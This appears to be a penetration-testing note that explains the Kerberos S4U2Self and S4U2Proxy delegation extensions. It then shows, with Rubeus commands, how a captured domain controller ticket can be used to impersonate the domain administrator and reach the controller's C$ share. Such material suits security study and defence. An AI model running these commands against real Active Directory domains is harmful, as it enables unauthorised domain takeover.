S4U2Self & S4U2Proxy

S4U2Proxy

This extension corresponds to the TGS request made by a service account to impersonate a user. The service account makes this TGS request to access a specific resource, and a copy of the user's TGS ticket is embedded in this request. The Domain Controller will then check that the service has the right to delegate authentication to the requested resource. If this is the case, it will provide the service with a TGS ticket to access this resource as the user.

S4U2Proxy allows the service to obtain a TGS on behalf of a user to a second service.

S4U2Self

If a user has authenticated to the service without using Kerberos and therefore without providing a TGS ticket, maybe using NTLM authentication, S4U2Self allows a service to obtain a TGS to itself on behalf of a user.

This step is usually performed before S4U2Proxy since the service account doesn't have any user's TGS ticket to embed in its request. The S4U2Self extension allows a service to obtain a forwardable TGS ticket to itself on behalf of an arbitrary user.

When a user authenticates to the service via NTLM for example, the service will first request a forwardable TGS to itself on behalf of the user to act as if the user had authenticated via Kerberos, then once the service has this special TGS ticket, it can make its TGS request to use the desired resource (S4U2Proxy), embedding the brand new forwardable TGS ticket it just asked for. This extension allows for protocol transition: successfully delegating even if the authentication protocol is not always the same between the user and the different services.

If the Use Kerberos only option is chosen in the account's Delegation tab the service account cannot do protocol transition, therefore, cannot use the S4U2Self extension. But if the Use any authentication protocol option is set, then the service account can use the S4U2Self extension and, therefore, can create a TGS for an arbitrary user.

---

There's another particularly useful way to abuse the S4U2Self extension - and that is to gain access to a computer if we have its TGT.

When talking about Unconstrained Delegation, we obtained a TGT for the domain controller but ff you tried to pass that ticket into a logon session and use it to access the C$ share (like we would with a user TGT), it would fail.

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN /username:DC$ /password:SomethingSecure123! /ticket:doIFuj ... lDLklP

This is because machines do not get remote local admin access to themselves. What we can do instead is abuse S4U2Self to obtain a usable TGS as a user we know is a local admin (e.g. a domain admin). Rubeus has a /self flag for this purpose.

Rubeus.exe s4u /impersonateuser:administrator /self /altservice:cifs/dc.domain.com /user:dc-2$ /ticket:doIFuj ... lDLklP /nowrap

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN /username:administrator /password:SomethingSecure123! /ticket:doIFyD ... MuaW8=